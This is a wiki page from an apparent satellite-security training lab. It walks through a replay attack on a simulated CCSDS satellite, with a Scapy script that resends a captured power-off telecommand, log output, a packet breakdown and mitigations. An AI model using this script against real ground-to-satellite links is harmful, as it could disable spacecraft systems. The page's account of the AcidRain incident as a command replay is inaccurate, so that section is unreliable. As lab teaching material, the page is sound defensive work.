Skip to content

04 Replay Attack

Litesh Ghute edited this page Oct 21, 2026 · 1 revision

Attack 4: Replay Attack

Position & access: Same foothold as Attack 3, from sat-attacker (10.10.0.10) against 10.10.0.2:7001. This attack doesn't even require understanding the encryption or crafting new commands, only resending bytes you've already seen.

Objective

Capture a valid CCSDS telecommand, wait several seconds, then resend the identical bytes, proving the satellite has no sequence-counter validation, no timestamp freshness check, and no replay window.


Background

A replay attack records a legitimate message and re-transmits it later to trigger the same action again. Proper defenses include:

  1. Sequence counter window: reject any TC whose seq_count ≤ last_accepted_seq
  2. Timestamp freshness: reject TC older than ±N seconds
  3. Nonce / challenge-response: ground station must sign a fresh nonce from the satellite

This satellite implements none of the above.


Why This Matters

Even if an attacker cannot break the encryption or craft new commands, they can:

  • Record a valid "SWITCH_POWER OFF" command transmitted during an authorized session
  • Replay it hours later, repeatedly, until the satellite is fully drained
  • Loop a "DISABLE_SAFE_MODE" command to prevent automatic recovery

Building and Replaying with Scapy

Same build_tc() / send() pair as Attack 3, the replay is just calling send() twice with the exact same packet object.

python3 - <<'EOF'
import time
from scapy.all import IP, UDP, send
from ccsds_scapy import build_tc

TARGET = "10.10.0.2"

# Build ONE packet, this is the packet an attacker would have captured off the wire in Attack 2
pkt = build_tc(seq=500, fn_code=0x01, args=bytes([2, 0]))   # SWITCH_POWER rail=2 OFF

send(IP(dst=TARGET)/UDP(sport=54322, dport=7001)/pkt)
print("Sent original")

time.sleep(1)

send(IP(dst=TARGET)/UDP(sport=54322, dport=7001)/pkt)       # identical bytes, resent
print("Replayed identical bytes")
EOF

Nothing about the second send() call is different from the first, same header, same timestamp, same sequence counter, same CRC. That's the entire attack.


Verified Live Run

Sent from sat-attacker against the running lab, docker logs satellite-sim shows the satellite executing the exact same packet twice:

[ISS] fn=0x01  args=0200
[ISS] POWER rail=2 -> OFF

[ISS] ⚠ TC from 10.10.0.10:54322  19B  1864c1f4000c0000019ffc58169601020083ae
[ISS] fn=0x01  args=0200
[ISS] POWER rail=2 -> OFF

Same packet bytes (1864c1f4..., sequence counter 0x01F4 = 500), executed twice, one second apart. Confirmed via the API:

curl -s http://10.10.0.3:8080/api/state | python3 -m json.tool
{
  "power_rails": [true, true, false],
  ...
}

Rail 2 is off, from a packet whose sequence counter never advanced between sends.

(For this run the satellite was returned to its nominal state afterward with a plain build_tc(seq=999, fn_code=0x03) RESET, confirmed back to power_rails: [true, true, true], so a live lab session shows the same clean starting point every time.)


Packet Anatomy: Why Replay Works

Bytes  0-1   0x18 0x64   -> APID=0x064 (TC)
Bytes  2-3   0xC1 0xF4   -> seq_flags=11, seq_count=500 (0x01F4)
Bytes  4-5   0x00 0x0A   -> data_len=10
Bytes  6-13  <timestamp> -> old timestamp, satellite never checks!
Byte   14    0x01        -> SWITCH_POWER
Bytes 15-16  0x02 0x00   -> rail=2, state=OFF
Bytes 17-18  <CRC-16>    -> correct CRC (still valid, unchanged bytes)

The satellite validates:

  • CRC-16 ✓ (bytes unchanged)
  • APID ✓
  • Function code ✓

The satellite does not validate:

  • Sequence counter monotonicity ✗
  • Timestamp age ✗
  • Packet uniqueness ✗

Confirmed Vulnerabilities

[✓] Identical packet accepted a second time
[✓] Expired timestamp accepted (no freshness check)
[✓] Duplicate seq_count accepted (no window tracking)
[✓] Attack works even without knowing the encryption key

Real-World Parallel

AcidRain (2022): The Viasat KA-SAT attack replayed provisioning commands to satellite modems. Because the modem firmware had no replay protection, attackers could brick thousands of devices by resending a single destructive management packet.

GPS spoofing (2013): A University of Texas team replayed GPS civil signals to steer a superyacht off course. GPS receivers accepted the replayed timing signals without any freshness validation.


Mitigation

Control How to implement
Sequence counter window Maintain last_seq per ground station; reject seq_count ≤ last_seq
Timestamp freshness Reject packets where abs(now - ts_ms) > 30_000 (30 s window)
Challenge-response Satellite sends nonce; ground station signs nonce + command + timestamp
Packet hash / unique ID Include a random nonce field; track seen nonces in a set

Next Step

Attack 5: AES Key Recovery: recover the hardcoded AES-128 key via known-plaintext attack and an unauthenticated memory dump.

Clone this wiki locally